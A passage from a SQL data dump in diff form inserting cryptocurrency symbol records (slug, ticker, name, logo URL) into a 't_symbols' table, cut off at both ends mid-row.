'Touriva', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/touriva.png', NULL); +INSERT INTO `t_symbols` VALUES (2864, 'membrana', 'MBN', 'Membrana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/membrana.png', NULL); +INSERT INTO `t_symbols` VALUES (2865, 'lendconnect', 'LCT', 'LendConnect', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/lendconnect.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2866, 'boosted-finance', 'BOOST', 'Boosted Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boosted-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2867, 'gossipcoin', 'GOSS', 'Gossip Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gossipcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2868, 'hycon', 'HYC', 'Hycon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hycon.png', NULL); +INSERT INTO `t_symbols` VALUES (2869, 'cpuchain', 'CPU', 'CPUchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cpuchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2870, 'galilel', 'GALI', 'Galilel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/galilel.png', NULL); +INSERT INTO `t_symbols` VALUES (2871, 'idex-membership', 'IDXM', 'IDEX Membership', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Aurora_dao.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2872, 'obee-network', 'OBEE', 'Obee Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/obee-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2873, 'xios', 'XIOS', 'Xios', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2874, 'bzlcoin', 'BZL', 'BZLcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bzlcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2875, 'unlimitedip', 'UIP', 'UnlimitedIP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unlimitedip.png', NULL); +INSERT INTO `t_symbols` VALUES (2876, 'precium', 'PCM', 'Precium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/precium.png', NULL); +INSERT INTO `t_symbols` VALUES (2877, 'abao', 'ABAO', 'Aladdin Galaxy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2878, 'paycon', 'CON', 'PayCon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/pay_con.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2879, 'ddam', 'DDAM', 'Decentralized Data Assets Management', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ddam.png', NULL); +INSERT INTO `t_symbols` VALUES (2880, 'aigang', 'AIX', 'Aigang', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/aigangnetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2881, 'syndicate', 'SYNX', 'Syndicate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/syndicate.png', NULL); +INSERT INTO `t_symbols` VALUES (2882, 'x-coin', 'XCO', 'X-Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/x-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2883, 'alphacat', 'ACAT', 'Alphacat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alphacat.png', NULL); +INSERT INTO `t_symbols` VALUES (2884, 'high-voltage', 'HVCO', 'High Voltage', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/high-voltage.png', NULL); +INSERT INTO `t_symbols` VALUES (2885, 'incodium', 'INCO', 'Incodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/incodium.png', NULL); +INSERT INTO `t_symbols` VALUES (2886, 'pzc', 'PZC', 'pzc', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2887, 'vectorium-flash', 'VECT', 'Vectorium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vectorium-flash.png', NULL); +INSERT INTO `t_symbols` VALUES (2888, 'ehc', 'EHC', 'Ecosystem Health Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ehc.png', NULL); +INSERT INTO `t_symbols` VALUES (2889, 'smartup', 'SMARTUP', 'SmartUp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartup.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2890, 'livenodes', 'LNO', 'Livenodes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/livenodes.png', NULL); +INSERT INTO `t_symbols` VALUES (2891, 'chronologic', 'DAY', 'Chronologic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chronologic.png', NULL); +INSERT INTO `t_symbols` VALUES (2892, 'fiscus-fyi', 'FFYI', 'Fiscus.fyi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fiscus-fyi.png', NULL); +INSERT INTO `t_symbols` VALUES (2893, 'wiki-token', 'WIKI', 'Wiki Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wiki-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2894, 'block-array', 'ARY', 'Block Array', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/block-array.png', NULL); +INSERT INTO `t_symbols` VALUES (2895, 'web', 'WEB', 'Webcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/web.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2896, 'mrs', 'MRS', 'Marginless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mrs.png', NULL); +INSERT INTO `t_symbols` VALUES (2897, 'deuscoin', 'DEUS', 'Deuscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deuscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2898, 'dachx', 'DACHX', 'DACH Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dachx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2899, 'bloc-money', 'BLOC', 'Bloc.Money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bloc-money.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2900, 'absolute', 'ABS', 'Absolute', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/absolute.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2901, 'mix-blockchain', 'MIX', 'MIX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mix-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2902, 'welltrado', 'WTL', 'Welltrado', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/welltrado.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2903, 'vivo', 'VIVO', 'VIVO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vivo.png', NULL); +INSERT INTO `t_symbols` VALUES (2904, 'theresa-may-coin', 'MAY', 'Theresa May Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/theresa-may-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2905, 'guaranteed-ethurance-token-extra', 'GETX', 'GETX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guaranteed-ethurance-token-extra.png', NULL); +INSERT INTO `t_symbols` VALUES (2906, 'btc-lite', 'BTCL', 'BTC Lite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-lite.png', NULL); +INSERT INTO `t_symbols` VALUES (2907, 'irishcoin', 'IRL', 'IrishCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/IrishCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2908, 'heartbout', 'HB', 'HeartBout', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heartbout.png', NULL); +INSERT INTO `t_symbols` VALUES (2909, 'decentralized-crypto-token', 'DCTO', 'Decentralized Crypto Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-crypto-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2910, 'bitqy', 'BQ', 'Bitqy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitqy.png', NULL); +INSERT INTO `t_symbols` VALUES (2911, 'business-credit-alliance-chain', 'BCAC', 'Business Credit Alliance Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/business-credit-alliance-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2912, 'kalkulus', 'KLKS', 'Kalkulus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kalkulus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2913, 'imagecoin', 'IMG', 'ImageCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imagecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2914, 'edrcoin', 'EDRC', 'EDRCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edrcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2915, 'mcs', 'MCS', 'Magic stone link', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcs.png', NULL); +INSERT INTO `t_symbols` VALUES (2916, 'icobid', 'ICOB', 'ICOBID', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icobid.png', NULL); +INSERT INTO `t_symbols` VALUES (2917, 'tokenstars', 'TEAM', 'TEAM (TokenStars)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenstars.png', NULL); +INSERT INTO `t_symbols` VALUES (2918, 'ice-rock-mining', 'ROCK2', 'ICE ROCK MINING', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ice-rock-mining.png', NULL); +INSERT INTO `t_symbols` VALUES (2919, 'baguette-token', 'BGTT', 'Baguette Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/baguette-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2920, 'guardtoken', 'GUARD', 'GUARD Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guardtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2921, 'datx', 'DATX', 'DATx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2922, 'cgen', 'CGEN', 'CGEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cgen.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2923, 'dimcoin', 'DIM', 'DIMCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dimcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2924, 'trackr', 'TKR', 'CryptoInsight', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trackr.png', NULL); +INSERT INTO `t_symbols` VALUES (2925, 'emergency-coin', 'ENY', 'Emergency Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emergency-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2926, 'zper', 'ZPR', 'ZPER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zper.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2927, 'fyooz', 'FYZ', 'Fyooz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fyooz.png', NULL); +INSERT INTO `t_symbols` VALUES (2928, 'useless-ethereum-token', 'UET', 'UET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/useless-ethereum-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2929, 'sierracoin', 'SIERRA', 'Sierracoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sierracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2930, 'blast', 'BLAST', 'BLAST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blast.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2931, 'pivot', 'PVT', 'Pivot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/5e484725dfdc5a0acb79a98b340f58b7.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2932, 'motionx', 'XMN', 'Motion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/motionx.png', NULL); +INSERT INTO `t_symbols` VALUES (2933, 'songcoin', 'SONG', 'SongCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Songcoin_SONG.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2934, 'secure-cloud-net', 'SCN', 'Secure Cloud Net', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/secure-cloud-net.png', NULL); +INSERT INTO `t_symbols` VALUES (2935, 'spreadcoin', 'SPR', 'SpreadCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spreadcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2936, 'plncoin', 'PLNC', 'PLNcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2937, 'neetcoin', 'NEET', 'Neetcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neetcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2938, 'bumbacoin', 'BUMBA', 'BumbaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bumbacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2939, 'datacoin', 'DTC', 'Datacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2940, 'hempcoin-hmp', 'HMP', 'HempCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2941, 'devault', 'DVT', 'DeVault', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/devault.png', NULL); +INSERT INTO `t_symbols` VALUES (2942, 'vpp', 'VPP', 'VPP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vpp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2943, 'rainbow-fund', 'RBF', 'Rainbow Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rainbow-fund.png', NULL); +INSERT INTO `t_symbols` VALUES (2944, 'gmb-platform', 'GMB', 'GMB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gmb-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (2945, 'primestone', 'KKC', 'Kabberry Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primestone.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2946, 'sharpe-platform-token', 'SHP', 'Sharpe Capital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharpe-platform-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2947, 'speedcash', 'SCS', 'Speedcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/scashdevelopers.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2948, 'ethplode', 'ETHPLO', 'ETHplode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethplode.png', NULL); +INSERT INTO `t_symbols` VALUES (2949, 'aias', 'AIAS', 'AIAScoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aias.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2950, 'xuez', 'XUEZ', 'Xuez Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xuez.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2951, 'fundrequest', 'FND', 'FundRequest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fundrequest.png', NULL); +INSERT INTO `t_symbols` VALUES (2952, 'draftcoin', 'DFT', 'DraftCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/draftcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2953, 'belacoin', 'BELA', 'Bela', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/belacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2954, 'krc', 'KRC', 'Kineticex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/krc.png', NULL); +INSERT INTO `t_symbols` VALUES (2955, 'netbox-coin', 'NBX', 'Netbox Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/netbox-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2956, 'netko', 'NETKO', 'Netko', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/NetkoCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2957, 'civitas', 'CIV', 'Civitas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/civitas.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2958, 'linx', 'LINX', 'Linx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linx.png', NULL); +INSERT INTO `t_symbols` VALUES (2959, 'arbit', 'ARB', 'Arbitrum (IOU)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbit.png', NULL); +INSERT INTO `t_symbols` VALUES (2960, 'projectsono', 'SONO', 'SonoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/projectsono.png', NULL); +INSERT INTO `t_symbols` VALUES (2961, 'senderon', 'SDRN', 'Senderon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/senderon.png', NULL); +INSERT INTO `t_symbols` VALUES (2962, 'gincoin', 'GIN', 'GINcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2963, 'imp', 'IMP', 'Ether Kingdoms Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imp.png', NULL); +INSERT INTO `t_symbols` VALUES (2964, 'bitcoin-x', 'BTX', 'Bitcoin X', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2965, 'vice-industry-token', 'VIT', 'Vice Industry Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vice-industry-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2966, 'gold-reward-token', 'GRX', 'GRX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gold-reward-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2967, 'magnet', 'MAG', 'Magnet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magnet.png', NULL); +INSERT INTO `t_symbols` VALUES (2968, 'bitcoinote', 'BTCN', 'BitcoiNote', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinote.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2969, 'fincoin', 'FNC', 'FinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2970, 'ebitcoin-cash', 'EBCH', 'eBitcoinCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ebchcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2971, 'inmax', 'INX', 'InMax', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inmax.png', NULL); +INSERT INTO `t_symbols` VALUES (2972, 'oryxcoin', 'ESTX', 'EstxCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oryxcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2973, 'hrp', 'HRP', 'hrp', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2974, 'ragnarok', 'RAGNA', 'Ragnarok', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ragnarok.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2975, 'brahmaos', 'BRM', 'BrahmaOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brahmaos.png', NULL); +INSERT INTO `t_symbols` VALUES (2976, 'payex', 'PAXEX', 'PAXEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/payex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2977, 'ozx', 'OZX', 'ozx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ozx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2978, 'znt', 'ZNT', 'Zenswap Network ZNT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/znt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2979, 'kronecoin', 'KRONE', 'Kronecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kronecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2980, 'xdna', 'XDNA', 'XDNA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdna.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2981, 'blockcat', 'CAT', 'BlockCAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockcat.png', NULL); +INSERT INTO `t_symbols` VALUES (2982, 'everitoken', 'EVT', 'EveriToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everitoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2983, 'creatio', 'XCRE', 'Creatio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/creatioteam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2984, 'fuze-token', 'FUZE', 'FUZE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fuze-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2985, 'steps', 'STEPS', 'Steps', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/AltcoinSteps.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2986, 'ipsum', 'IPS', 'IPSUM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ipsum.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2987, 'carblock', 'CAR', 'CarBlock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carblock.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2988, 'bitsend', 'BSD', 'BitSend', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitsend.png', NULL); +INSERT INTO `t_symbols` VALUES (2989, 'ents', 'ENTS', 'EUNOMIA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ents.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2990, 'intelligent-streaming-media-chain', 'ISMC', 'intelligent-streaming-media-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/%20intelligent-streaming-media-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2991, 'sum-token', 'SUT', 'sum-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sum-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2992, 'printerium', 'PRX', 'Printerium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/printerium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2993, 'bitcoin-subsidium', 'XBTX', 'Bitcoin Subsidium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-subsidium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2994, 'oneroot-network', 'RNT', 'OneRoot Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oneroot-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2995, 'deflacoin', 'DEFL', 'Deflacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deflacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2996, 'filecash', 'FIC', 'Filecash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filecash.png', NULL); +INSERT INTO `t_symbols` VALUES (2997, 'decent-bet', 'DBET', 'DecentBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decent-bet.png', NULL); +INSERT INTO `t_symbols` VALUES (2998, 'ccore', 'CCO', 'Ccore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ccore.png', NULL); +INSERT INTO `t_symbols` VALUES (2999, 'boolberry', 'BBR', 'Boolberry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/boolberryteam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3000, 'slopps', 'SLOPPS', 'SLOPPS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/slopps.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3001, 'skeincoin', 'SKC', 'Skeincoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skeincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3002, 'kingn-coin', 'KNC', 'KingN Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/KingNCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3003, 'iq-cash', 'IQ', 'IQ.cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iq-cash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3004, 'fox-trading-token', 'FOXT', 'Fox Trading', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fox-trading-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3005, 'semux', 'SEM', 'Semux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/semux.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3006, 'kemacoin', 'KEMA', 'KemaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kemacoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3007, 'dogefi', 'DOGEFI', 'DogeFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogefi.png', NULL); +INSERT INTO `t_symbols` VALUES (3008, 'gwaycoin', 'GWAY', 'Gwaycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gwaycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3009, 'fundtoken', 'FUNDZ', 'FundToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fundtoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3010, 'klimatas', 'KTS', 'Klimatas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/klimatas.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3011, 'engagement-token', 'ENGT', 'Engagement Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/engagement-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3012, 'bitcointoken', 'BTCT', 'Bitcoin Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcointoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3013, 'mktcoin', 'MKT', 'MktCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mktcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3014, 'kun', 'KUN', 'KUN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kun.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3015, 'native-coin', 'N8V', 'NativeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/native-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3016, 'aegis', 'AGS', 'Aegis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aegis.png', NULL); +INSERT INTO `t_symbols` VALUES (3017, 'duo-network-token', 'DUO', 'DUO Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/07ecc30888f2dffc41b025fe8597af59.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3018, 'xpa', 'XPA', 'XPA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xpa.png', NULL); +INSERT INTO `t_symbols` VALUES (3019, 'wins-live', 'WNL', 'WinStars Live', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wins-live.png', NULL); +INSERT INTO `t_symbols` VALUES (3020, 'yang', 'YNN', 'Yang', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yang.png', NULL); +INSERT INTO `t_symbols` VALUES (3021, 'genesisx', 'XGS', 'GenesisX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genesisx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3022, 'chancoin', 'CHAN', 'ChanCoin', 